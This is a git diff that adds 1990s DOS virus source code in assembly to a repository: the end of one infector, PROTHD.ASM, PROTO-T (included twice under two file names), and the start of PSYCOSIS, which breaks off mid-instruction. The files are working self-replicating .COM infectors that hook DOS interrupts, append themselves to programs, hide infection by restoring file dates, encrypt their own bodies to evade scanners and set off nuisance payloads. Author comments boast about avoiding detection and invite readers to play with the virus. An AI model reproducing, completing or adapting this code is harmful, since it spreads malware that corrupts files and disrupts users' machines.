; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +fake_msg db "If YOU can be a half-wit, so can I!!$" +Row dw 24 +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/p/PROTHD.ASM b/p/PROTHD.ASM new file mode 100755 index 0000000..1cb1787 --- /dev/null +++ b/p/PROTHD.ASM @@ -0,0 +1,75 @@ +code segment public 'code' + assume cs:code, ds:code, es:code + org 100h + +Main: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb si,si + mov ah,52h ; get internal list of lists + int 21h ; int 21h + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: mov ax,ds:[bx+si+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + cmp byte ptr ds:[bx],0 + je Next + xchg ax,cx + mov di,ds:[bx+si+13h] ; get offset of device header + mov word ptr ds:[bx+si+13h],offset Header + mov ds:[bx+si+15h],cs ; set addres of new device +Next: lds bx,ds:[bx+si+19h] ; next drive parameter block + cmp bx,-1 ; last block ? + jne Search ; no, go to Search + jcxz Error + + mov ds,cx + mov si,di + push cs + pop es + mov di,offset Header + cld + movsw + movsw + movsw + mov ax,offset Strategy + stosw + mov ax,offset Interrupt + stosw + push di + mov di,offset Strategy + mov al,0eah + stosb + movsw + mov ax,cx + stosw + mov di,offset Interrupt + mov al,0eah + stosb + movsw + mov ax,cx + stosw + pop di + movsw + mov ax,3100h + mov dx,20h + int 21h + +Error: mov ax,4c01h + int 21h + +Header db 12 dup(?) +Interrupt db 5 dup(?) +Strategy db 5 dup(?) + + +code ends + +end Main + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/p/PROTO-T.ASM b/p/PROTO-T.ASM new file mode 100755 index 0000000..cdecd27 --- /dev/null +++ b/p/PROTO-T.ASM @@ -0,0 +1,420 @@ +;PROTO-T virus: a simple, memory resident .COM infector for +;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler. +; +;On call, PROTO-T will manipulate the interrupt table directly, hooking +;int 21h and decreasing the amount of memory by a little over 1k. +;It will infect COMMAND.COM +;if a shell is installed while the virus is in RAM. At start, +;PROTO-T polls the system time. If it is after 4:00 in the +;afternoon, the speaker will issue a hideous ringing noise and the +;hard file will be read very quickly, faking a massive Michelangelo-style +;trashing. The disk will continue to read until the user restores +;control by booting. (I took this slick routine from the first issue +;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American +;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling +;to those surprised by it. Heh. +; +;Files infected with PROTO-T will generally function normally until +;4 in the afternoon, when the virus locks them up until the next +;day by way of the nuisance routines described above. Infected files have +;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]' +;appended to them at the end where the body of the virus is located. +; +;PROTO-T is not currently scanned. However, its modifications are easily +;flagged by a good file integrity checker. For example, Dr. Solomon's +;Toolkit picked PROTO-T changes off an infected disk with both the QCV +;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately, +;the novice user is left on his own by the Toolkit to determine the cause +;of the changes - a drawback which diminishes the software's value +;considerably, IMHO. +; +;I encourage you to play with PROTO-T by Dumbco. It is a +;well-behaved resident virus, useful in demonstrating the behavior +;of simple resident infectors and how they can "pop-up" suddenly and +;ruin your day. Of course, files infected by PROTO-T are, for all +;intents and purposes, useless for future computing unless you like +;the idea of a resident virus keeping you company and freezing up +;your work late in the afternoon. +; +;Known incompatibilities: PROTO-T will behave weirdly on machines +;using SYMANTEC's NDOS as a command processor. And some caches will +;cause PROTO-T to hang the machine immediately. For best results, +;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory +;management seems to work fine. (Ain't this somethin': software +;advisories with a virus!) +; +;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries, +;& our European friends Dark Helmet and Peter Venkmann with their very +;complete code archives (in particular, the CIVIL_II template). The +;'scarey ' subroutine was excerpted from "Computer Virus Developments +;Quarterly", Vol. 1., No.1. + + + .radix 16 + code segment + model small + assume cs:code, ds:code, es:code + + org 100h + +length equ offset last - begin +virus_length equ length / 16d + +host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection + ;marker in host + +begin: + + call virus ;make call to + ;push instruction pointer on stack + +virus: + + + mov ah,02Ch ;DOS get time function + int 021h + mov al,ch ;Copy hour into AL + cbw ;Sign-extend AL into AX + cmp ax,0010h ;Did the function return 16 (4 pm)? + jge malfunkshun ;If after 4 pm, do Proto-T thang! + jmp getonwithit + +malfunkshun: ;sound and fury start + cli ;turn off interrupts + mov dx,2 +agin1: mov bp,40 ;do 40 cycles of sound + mov si,1000 ;1st frequency + mov di,2000 ;2nd frequency + mov al,10110110b ;address of channel 2 mode 3 + out 43h,al ;send to port +agin2: mov bx,si ;place sound number in bx +backerx: mov ax,bx ;now put in ax + out 42h,al + mov al,ah + out 42h,al + in al,61h ;get port value + or al,00000011b ;turn speaker on + out 61h,al + mov cx,2EE0h ;delay +looperx: loop looperx ;do nothing loop so sound is audible + xchg di,si + in al,61h ;get port value + and al,11111100b ;AND - turn speaker off + out 61h,al ;send it + dec bp ;decrement repeat count + jnz agin2 ;if not = 0 do again + mov ax,10 ;10 repeats of 60000 loops +back: mov cx,0EA60h ;loop count (in hex for TASM) +loopery: loop loopery ;delay loops - no sound between bursts + dec ax + jnz back ;if not = 0 loop again + dec dx + jnz agin1 ;if not = 0 do whole thing again + sti ;restore interrupts + + + + mov si,0 ;scarey part: drive reads real +scarey: lodsb ;fast ala Michelangelo-style + mov ah,al ;over-write, but this routine only + lodsb ;gets random bytes here for a + and al,3 ;cylinder to READ + mov dl,80h + mov dh,al + mov ch,ah + mov cl,1 + mov bx,offset last ;buffer to read into + mov ax,201h + int 13h + jmp short scarey ;yow! scarey! just think if this + ;was made by someone not as nice as + ;me + +note db 'This program is sick. [PROTO-T by Dumbco, INC.]' + +getonwithit: pop bp ; get IP from stack. + sub bp,109h ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + + +check_resident: mov ah,0A0h ;check if virus + int 21h ;already installed. + cmp ax,0001h + je end_virus + +adjust_memory: mov ax,cs ;get Memory + dec ax ;Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ;check if last + ;block - + jne abort ;if not last block, + ;end + mov ax,ds:[0003] ;decrease memory + sub ax,50 ;by 1kb + mov ds:0003,ax + +install_virus: mov bx,ax ;PSP + mov ax,es ;virus start + add ax,bx ;in memory + mov es,ax + mov cx,length ;cx = length virus + mov ax,ds ;restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ;point to start virus + lea di,es:0100 ;point to destination + rep movsb ;copy virus in + ;memory + mov [virus_segment+bp],es ;store start of virus + ;in memory + mov ax,cs ;restore extra segment + mov es,ax + +hook_vector: cli ;disable interrupts + ;because we're manipulating + mov ax,3521h ;the interrupt table and a + ;crash would look bad + int 21h ;function 3521h - retrieve + mov ds,[virus_segment+bp] ;address of current handler + mov ds:[old_21h-6h],bx + mov ds:[old_21h+2-6h],es + mov dx,offset main_virus - 6h + mov ax,2521h ;copy new address (virus) to + int 21h ;interrupt table + sti ;interrupts on + +abort: mov ax,cs ;restore everything + mov ds,ax + mov es,ax + xor ax,ax + +end_virus: + + + mov bx,0100h ;jump to beginning + jmp bx ;of host file + + +;*************************************************************************** + +main_virus: pushf + cmp ah,0A0h ;check for virus + jne new_21h ;no virus call + mov ax,0001h ;ax = id + popf ;return id + iret + +new_21h: push ds ;save registers + push es + push di + push si + push ax + push bx + push cx + push dx + + cmp ah,40h + jne check_05 + cmp bx,0004h + jne check_05 + +check_05: cmp ah,05h + jne check_exec + +check_exec: cmp ax,04B00h ;intercept execute function + jne continue + mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + jmp chk_com ;goto check target + +continue: pop dx ;restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + +chk_com: cld ;check extension of loaded file + mov di,dx ;for COM + push ds + pop es + mov al,'.' ;search extension + repne scasb ;for 'COM', so + cmp word ptr es:[di],'OC' ;check 'CO' + jne continue ;and + cmp word ptr es:[di+2],'M' ;check 'M' + jne continue + + call set_int24h + call set_attribute + +open_file: mov ds,cs:[name_seg-6] ;name of target file + mov dx,cs:[name_off-6] + mov ax,3D02h ;open file + call do_int21h ;simulate int21 call, see below + jc close_file + push cs + pop ds + mov [handle-6],ax + mov bx,ax + + call get_date + +check_infect: push cs + pop ds + mov bx,[handle-6] ;read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,[carrier_begin-6] + call do_int21h + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,[initials-6] + je save_date ;if equal, already + ;infected + +get_length: mov ax,4200h ;set file pointer to begin + call move_pointer + mov ax,4202h ;set file pointer to end + call move_pointer + sub ax,03h ;ax = file length + mov [length_file-6],ax + + call write_jmp + call write_virus ;summon write virus to file + +save_date: push cs ;save date of file + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call do_int21h + +close_file: mov bx,[handle-6] + mov ah,03eh ;close file + call do_int21h + + mov dx,cs:[old_24h-6] ;restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + jmp continue + + + + +new_24h: mov al,3 ;critical error handler + iret + + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + + + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + ;since virus owns int21, a +do_int21h: pushf ;direct call would be counter + call dword ptr cs:[old_21h-6];productive, so do a pushf + ret ;and call combination - Dark + ;Angel's virus guide is great +write_jmp: push cs ;at expalining this + pop ds + mov ax,4200h ;set pointer to beginning of file + call move_pointer + mov ah,40h + mov cx,01h + lea dx,[jump-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[length_file-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: push cs + pop ds + mov ax,4202h ;write to file function + call move_pointer + mov ah,40 + mov cx,length ;virus length + mov dx,100 + call do_int21h ;do it + ret + +get_date: mov ax,5700h ;retrieve date function + call do_int21h ;do it + push cs + pop ds + mov [date-6],dx ;restore date & time + mov [time-6],cx + ret + ;set up critical error handler +set_int24h: mov ax,3524h ;request address of current handler + call do_int21h ;simulate int21 call + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h ;set vector to virus handler + call do_int21h ;do it + ret + +set_attribute: mov ax,4300h ;get attribute + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ;set attribute + mov ax,4301h + call do_int21h + ret + + + + + + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + + +old_21h dw 00h,00h +old_17h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +jump db 0E9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +length_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +last db 090h + +code ends + end host diff --git a/p/PROTO_T.ASM b/p/PROTO_T.ASM new file mode 100755 index 0000000..cdecd27 --- /dev/null +++ b/p/PROTO_T.ASM @@ -0,0 +1,420 @@ +;PROTO-T virus: a simple, memory resident .COM infector for +;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler. +; +;On call, PROTO-T will manipulate the interrupt table directly, hooking +;int 21h and decreasing the amount of memory by a little over 1k. +;It will infect COMMAND.COM +;if a shell is installed while the virus is in RAM. At start, +;PROTO-T polls the system time. If it is after 4:00 in the +;afternoon, the speaker will issue a hideous ringing noise and the +;hard file will be read very quickly, faking a massive Michelangelo-style +;trashing. The disk will continue to read until the user restores +;control by booting. (I took this slick routine from the first issue +;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American +;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling +;to those surprised by it. Heh. +; +;Files infected with PROTO-T will generally function normally until +;4 in the afternoon, when the virus locks them up until the next +;day by way of the nuisance routines described above. Infected files have +;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]' +;appended to them at the end where the body of the virus is located. +; +;PROTO-T is not currently scanned. However, its modifications are easily +;flagged by a good file integrity checker. For example, Dr. Solomon's +;Toolkit picked PROTO-T changes off an infected disk with both the QCV +;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately, +;the novice user is left on his own by the Toolkit to determine the cause +;of the changes - a drawback which diminishes the software's value +;considerably, IMHO. +; +;I encourage you to play with PROTO-T by Dumbco. It is a +;well-behaved resident virus, useful in demonstrating the behavior +;of simple resident infectors and how they can "pop-up" suddenly and +;ruin your day. Of course, files infected by PROTO-T are, for all +;intents and purposes, useless for future computing unless you like +;the idea of a resident virus keeping you company and freezing up +;your work late in the afternoon. +; +;Known incompatibilities: PROTO-T will behave weirdly on machines +;using SYMANTEC's NDOS as a command processor. And some caches will +;cause PROTO-T to hang the machine immediately. For best results, +;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory +;management seems to work fine. (Ain't this somethin': software +;advisories with a virus!) +; +;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries, +;& our European friends Dark Helmet and Peter Venkmann with their very +;complete code archives (in particular, the CIVIL_II template). The +;'scarey ' subroutine was excerpted from "Computer Virus Developments +;Quarterly", Vol. 1., No.1. + + + .radix 16 + code segment + model small + assume cs:code, ds:code, es:code + + org 100h + +length equ offset last - begin +virus_length equ length / 16d + +host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection + ;marker in host + +begin: + + call virus ;make call to + ;push instruction pointer on stack + +virus: + + + mov ah,02Ch ;DOS get time function + int 021h + mov al,ch ;Copy hour into AL + cbw ;Sign-extend AL into AX + cmp ax,0010h ;Did the function return 16 (4 pm)? + jge malfunkshun ;If after 4 pm, do Proto-T thang! + jmp getonwithit + +malfunkshun: ;sound and fury start + cli ;turn off interrupts + mov dx,2 +agin1: mov bp,40 ;do 40 cycles of sound + mov si,1000 ;1st frequency + mov di,2000 ;2nd frequency + mov al,10110110b ;address of channel 2 mode 3 + out 43h,al ;send to port +agin2: mov bx,si ;place sound number in bx +backerx: mov ax,bx ;now put in ax + out 42h,al + mov al,ah + out 42h,al + in al,61h ;get port value + or al,00000011b ;turn speaker on + out 61h,al + mov cx,2EE0h ;delay +looperx: loop looperx ;do nothing loop so sound is audible + xchg di,si + in al,61h ;get port value + and al,11111100b ;AND - turn speaker off + out 61h,al ;send it + dec bp ;decrement repeat count + jnz agin2 ;if not = 0 do again + mov ax,10 ;10 repeats of 60000 loops +back: mov cx,0EA60h ;loop count (in hex for TASM) +loopery: loop loopery ;delay loops - no sound between bursts + dec ax + jnz back ;if not = 0 loop again + dec dx + jnz agin1 ;if not = 0 do whole thing again + sti ;restore interrupts + + + + mov si,0 ;scarey part: drive reads real +scarey: lodsb ;fast ala Michelangelo-style + mov ah,al ;over-write, but this routine only + lodsb ;gets random bytes here for a + and al,3 ;cylinder to READ + mov dl,80h + mov dh,al + mov ch,ah + mov cl,1 + mov bx,offset last ;buffer to read into + mov ax,201h + int 13h + jmp short scarey ;yow! scarey! just think if this + ;was made by someone not as nice as + ;me + +note db 'This program is sick. [PROTO-T by Dumbco, INC.]' + +getonwithit: pop bp ; get IP from stack. + sub bp,109h ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + + +check_resident: mov ah,0A0h ;check if virus + int 21h ;already installed. + cmp ax,0001h + je end_virus + +adjust_memory: mov ax,cs ;get Memory + dec ax ;Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ;check if last + ;block - + jne abort ;if not last block, + ;end + mov ax,ds:[0003] ;decrease memory + sub ax,50 ;by 1kb + mov ds:0003,ax + +install_virus: mov bx,ax ;PSP + mov ax,es ;virus start + add ax,bx ;in memory + mov es,ax + mov cx,length ;cx = length virus + mov ax,ds ;restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ;point to start virus + lea di,es:0100 ;point to destination + rep movsb ;copy virus in + ;memory + mov [virus_segment+bp],es ;store start of virus + ;in memory + mov ax,cs ;restore extra segment + mov es,ax + +hook_vector: cli ;disable interrupts + ;because we're manipulating + mov ax,3521h ;the interrupt table and a + ;crash would look bad + int 21h ;function 3521h - retrieve + mov ds,[virus_segment+bp] ;address of current handler + mov ds:[old_21h-6h],bx + mov ds:[old_21h+2-6h],es + mov dx,offset main_virus - 6h + mov ax,2521h ;copy new address (virus) to + int 21h ;interrupt table + sti ;interrupts on + +abort: mov ax,cs ;restore everything + mov ds,ax + mov es,ax + xor ax,ax + +end_virus: + + + mov bx,0100h ;jump to beginning + jmp bx ;of host file + + +;*************************************************************************** + +main_virus: pushf + cmp ah,0A0h ;check for virus + jne new_21h ;no virus call + mov ax,0001h ;ax = id + popf ;return id + iret + +new_21h: push ds ;save registers + push es + push di + push si + push ax + push bx + push cx + push dx + + cmp ah,40h + jne check_05 + cmp bx,0004h + jne check_05 + +check_05: cmp ah,05h + jne check_exec + +check_exec: cmp ax,04B00h ;intercept execute function + jne continue + mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + jmp chk_com ;goto check target + +continue: pop dx ;restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + +chk_com: cld ;check extension of loaded file + mov di,dx ;for COM + push ds + pop es + mov al,'.' ;search extension + repne scasb ;for 'COM', so + cmp word ptr es:[di],'OC' ;check 'CO' + jne continue ;and + cmp word ptr es:[di+2],'M' ;check 'M' + jne continue + + call set_int24h + call set_attribute + +open_file: mov ds,cs:[name_seg-6] ;name of target file + mov dx,cs:[name_off-6] + mov ax,3D02h ;open file + call do_int21h ;simulate int21 call, see below + jc close_file + push cs + pop ds + mov [handle-6],ax + mov bx,ax + + call get_date + +check_infect: push cs + pop ds + mov bx,[handle-6] ;read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,[carrier_begin-6] + call do_int21h + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,[initials-6] + je save_date ;if equal, already + ;infected + +get_length: mov ax,4200h ;set file pointer to begin + call move_pointer + mov ax,4202h ;set file pointer to end + call move_pointer + sub ax,03h ;ax = file length + mov [length_file-6],ax + + call write_jmp + call write_virus ;summon write virus to file + +save_date: push cs ;save date of file + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call do_int21h + +close_file: mov bx,[handle-6] + mov ah,03eh ;close file + call do_int21h + + mov dx,cs:[old_24h-6] ;restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + jmp continue + + + + +new_24h: mov al,3 ;critical error handler + iret + + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + + + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + ;since virus owns int21, a +do_int21h: pushf ;direct call would be counter + call dword ptr cs:[old_21h-6];productive, so do a pushf + ret ;and call combination - Dark + ;Angel's virus guide is great +write_jmp: push cs ;at expalining this + pop ds + mov ax,4200h ;set pointer to beginning of file + call move_pointer + mov ah,40h + mov cx,01h + lea dx,[jump-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[length_file-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: push cs + pop ds + mov ax,4202h ;write to file function + call move_pointer + mov ah,40 + mov cx,length ;virus length + mov dx,100 + call do_int21h ;do it + ret + +get_date: mov ax,5700h ;retrieve date function + call do_int21h ;do it + push cs + pop ds + mov [date-6],dx ;restore date & time + mov [time-6],cx + ret + ;set up critical error handler +set_int24h: mov ax,3524h ;request address of current handler + call do_int21h ;simulate int21 call + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h ;set vector to virus handler + call do_int21h ;do it + ret + +set_attribute: mov ax,4300h ;get attribute + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ;set attribute + mov ax,4301h + call do_int21h + ret + + + + + + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + + +old_21h dw 00h,00h +old_17h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +jump db 0E9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +length_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +last db 090h + +code ends + end host diff --git a/p/PSYCOSIS.ASM b/p/PSYCOSIS.ASM new file mode 100755 index 0000000..844fa23 --- /dev/null +++ b/p/PSYCOSIS.ASM @@ -0,0 +1,567 @@ +; VirusName : PSYCOSIS +; Origin : Sweden +; Author : The Unforgiven +; Date : 03/01/94 + +; This is yet another mutation of the Bob Ross virus, written by Dark +; Angel of Phalcon/Skism in September 1991. In my last version of this +; virus, I excluded the encryption, and included some destructive code +; instead. In this one, I added a new encryption, and thereby it went +; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV, +; can't find it. F-prot doesn't founds a shit, but Tbscan's most +; heuristics scanner says that it "probably" is infected with some +; unknown virus. The "standard" heuristic gets some flags, but not +; enough to say that it's infected. Therefor I'd like to claim that +; the scanners sucks! + +; I had thought to change much more in the code, for example the +; spreading routine. This virus will search the whole tree for +; files to infect, and becomes therefor pretty slow, and easily +; detected. But hell, it spreads!, Hm, 3 files each run!.. + +; It also contains a resident printing part, which under some +; specific conditions will print some messages, in the top of the +; screen. If you're afraid that you are infected with this virus, +; just set the date to 0606 any year, and wait for some minutes. +; If a sudden message shows up, delete your .COM file, which first +; character is an "&". + +;============================================================================= +; **** PSYCOSIS **** +;============================================================================= + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of Bob messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0606h ; Date of psychosis .(swedish national day). + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +;============================================================================= +;Part 2 begins: Dis is the D-Cool part +;============================================================================= +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +;encrypt_val db 00h +encrypt_val dw 0 +decrypt: +encrypt: + + mov si, offset encrypt_val + add si, offset_off + mov ah, byte ptr [si] + + mov cx, offset part2_end - offset bam_bam + add si, offset bam_bam - offset encrypt_val + mov di, si + call cheater + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret +cheater: +ret + +copy_rest_stuff: + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 ; root directory +com_mask db '*.com',0 ; files to infect +dir_mask db '*.*',0 ; files to search for +back_dir db '..',0 ; go "dot-dot". +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + mov cx, part1_size + rep movsb + + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer + int 21h ; in orig_path + jc Go_Error + + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 07/09? + jz Go_Psycho ; If so, activate +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +;============================================================================= +;D-Traversal function begins +;============================================================================= +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ; to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ; *.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ; If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ; and changedir there + int 21h ;Yup, yup + jc short donext ; Do next if invalid + mov si, offset nest ; Else increment nest + add si, offset_off + inc word ptr [si] ; nest++ + call near ptr traverse_fcn ; recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA address + mov ah,1Ah ; and set DTA to it + int 21h ; 'cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ; to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +;============================================================================= +;D-Traversal function ends +;============================================================================= + +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ; in order to + add si, offset_off ; halt the D-Cool + mov word ptr [si], 0 ; traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ; to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ; Find first file + mov cx, 0007h ; Any file + mov dx, offset com_mask ; DS:[DX] --> filemask + add dx, offset_off + int 21h ; Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ; I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ; Another loop, + add si, offset_off ; Another infection + dec byte ptr [si] ; Infected three? + jz enuff_for_now ; If so, exit +find_next_file: + mov ah,4Fh ; Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ; ??????D.COM? + jz find_next_file ; don't kill COMMAND.COM + + mov ax,3D00h ; Open channel read ONLY + mov dx, si ; Offset Pathname in DX + sub dx, 6 + int 21h ; Open NOW! + jc find_next_file ; If error, find another + + xchg bx,ax ; bx is now handle + mov ah,3Fh ; Save + mov cx, part1_size ; first part + mov dx, offset buffer ; to buffer + add dx, offset_off ; to be restored + push dx + int 21h ; later + + pop si ; Check for virus ID bytes + ; in the buffer + push si + lodsw ; DS:[SI] -> AX + cmp ax, virus_marker ; Compare it + jnz infect_it ; infect it if ID #1 not found + + lodsw ; Check next two bytes + cmp ax, 